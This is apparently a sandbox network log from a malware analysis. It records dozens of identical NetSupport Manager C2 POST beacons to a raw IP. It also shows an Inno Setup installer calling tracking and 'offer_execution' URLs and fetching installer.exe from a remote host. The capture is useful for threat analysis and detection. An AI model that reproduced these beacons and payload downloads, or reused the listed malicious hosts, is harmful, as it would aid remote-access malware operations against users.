Dec 6, 2023 14:36:59.637653112 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:59.738563061 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:59.838622093 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:59.938623905 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:37:00.039609909 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:37:00.154086113 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:37:00.254749060 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:37:00.354631901 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:37:00.455661058 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:37:00.555548906 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:37:00.655601025 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:37:00.756074905 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:37:00.856587887 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:37:00.957612038 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:37:01.057837009 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:37:01.158580065 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:37:01.259902954 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:37:01.359792948 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:37:01.459819078 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:37:01.560600996 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:37:01.660621881 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:37:01.761604071 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:37:01.862585068 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:37:01.962723970 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:37:02.062876940 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:37:02.162643909 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:37:02.363658905 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:37:02.482268095 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:37:02.581585884 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:37:02.682667971 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:37:02.783543110 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:37:03.144423008 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:37:03.245533943 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:37:03.345549107 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:37:03.446526051 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:37:03.546642065 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:37:04.990561962 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:37:05.090589046 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:37:05.191586971 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:37:05.292680025 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:37:05.393606901 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:37:05.493655920 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:37:05.594559908 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:37:05.695583105 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:37:05.796530962 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:37:05.896534920 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:37:05.997515917 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:37:06.097513914 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:37:06.198545933 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:37:06.298538923 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:37:06.399533033 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:37:06.499530077 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:37:06.599602938 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:37:06.699525118 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:37:06.800549030 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:37:06.901526928 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:37:07.001691103 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:37:07.101541042 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:37:07.202539921 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:37:07.302618980 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:37:07.403599977 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:37:07.503554106 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:37:07.604547977 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:37:07.704513073 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:37:07.804512024 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:37:07.905515909 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:37:08.006650925 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:37:08.107649088 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:37:08.208527088 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:37:08.308526993 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:37:08.409548998 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:37:08.509516001 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:37:08.610619068 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:37:08.710510015 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:37:08.810662985 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:37:08.911530972 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:37:09.011562109 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49727	104.21.90.147	80	1992	C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:33:19.917646885 CET	198	OUT	GET /track_inl2.php?tim=1701869569&poid=2598&p=1.25 HTTP/1.1 Connection: Keep-Alive User-Agent: Inno Setup 6.2.2 Host: send.planewool.xyz
Dec 6, 2023 14:33:20.771269083 CET	654	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:33:20 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.16 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=TZ3D9WnYWsZ1MtgxUI7%2FwOLIzZDHFPOVzFFSGUllnCZYCQktuI6XjoE5H5Ded9%2BtsvUpt6PcxHpnVLRKqgOKllbT7Pn2KybGtKu5HzcE9S7NkrtabpVNgv5myoNPE03JzWUTOJU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8314e667bd3a3b90-IAD alt-svc: h3=":443"; ma=86400 Data Raw: 33 0d 0a 6f 6b 0a 0d 0a Data Ascii: 3ok
Dec 6, 2023 14:33:20.771294117 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49729	172.67.198.151	80	1992	C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:33:20.874691963 CET	236	OUT	GET /ar.php?d=inno&r=offer_execution&rk=yes&o=1627&a=2598&dn=286&spot=1&t=1701869569 HTTP/1.1 Connection: Keep-Alive User-Agent: Inno Setup 6.2.2 Host: false.apparelsilver.xyz
Dec 6, 2023 14:33:21.014807940 CET	654	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:33:20 GMT Content-Type: text/plain Content-Length: 2 Connection: keep-alive X-Powered-By: PHP/5.5.38 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=wz55zPBU2YwWzmIibnFRsl8FrUXEIlO6JQS%2Fh%2B2fOUxNBcDsA759aHik%2BiiV1eGX5xTKdkNq%2BZA5RMh6gIYGAKxBXyErP0G1gY7FVR7mSI7eDVG82ibdhGBfLsCyJAHoMfJpGcA56KnyGg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8314e66db91d07dd-IAD alt-svc: h3=":443"; ma=86400 Data Raw: 6f 6b Data Ascii: ok
Dec 6, 2023 14:33:43.865945101 CET	234	OUT	GET /ar.php?d=inno&r=offer_execution&rk=no&o=331&a=2598&dn=244&spot=2&t=1701869569 HTTP/1.1 Connection: Keep-Alive User-Agent: Inno Setup 6.2.2 Host: false.apparelsilver.xyz
Dec 6, 2023 14:33:43.992799997 CET	648	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:33:43 GMT Content-Type: text/plain Content-Length: 2 Connection: keep-alive X-Powered-By: PHP/5.5.38 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=G5WXcle%2BIB79KRs312rybeO0JKOrGENuJoavuxUexKnCmkQfltTDy8Ch4vSprdfvm2VZsGcqq8FSIoNoo6ltU2iOt3i5LJCoTHiVNUjvnqVDFN35WfuhttxZfwdPdOJxc6UKgpthD71EqQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8314e6fd68a807dd-IAD alt-svc: h3=":443"; ma=86400 Data Raw: 6f 6b Data Ascii: ok

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49730	159.223.29.40	80	1992	C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:33:21.309020042 CET	208	OUT	HEAD /installer.exe HTTP/1.1 Accept: / User-Agent: InnoDownloadPlugin/1.5 Host: kapetownlink.com Connection: Keep-Alive Cache-Control: no-cache
Dec 6, 2023 14:33:21.496566057 CET	323	IN	HTTP/1.1 200 OK Server: nginx/1.10.0 (Ubuntu) Date: Wed, 06 Dec 2023 13:33:21 GMT Content-Type: application/octet-stream Content-Length: 4724720 Last-Modified: Mon, 24 Jul 2023 06:14:10 GMT Connection: keep-alive ETag: "64be16b2-4817f0" Accept-Ranges: bytes
Dec 6, 2023 14:33:21.497165918 CET	207	OUT	GET /installer.exe HTTP/1.1 Accept: / User-Agent: InnoDownloadPlugin/1.5 Host: kapetownlink.com Connection: Keep-Alive Cache-Control: no-cache
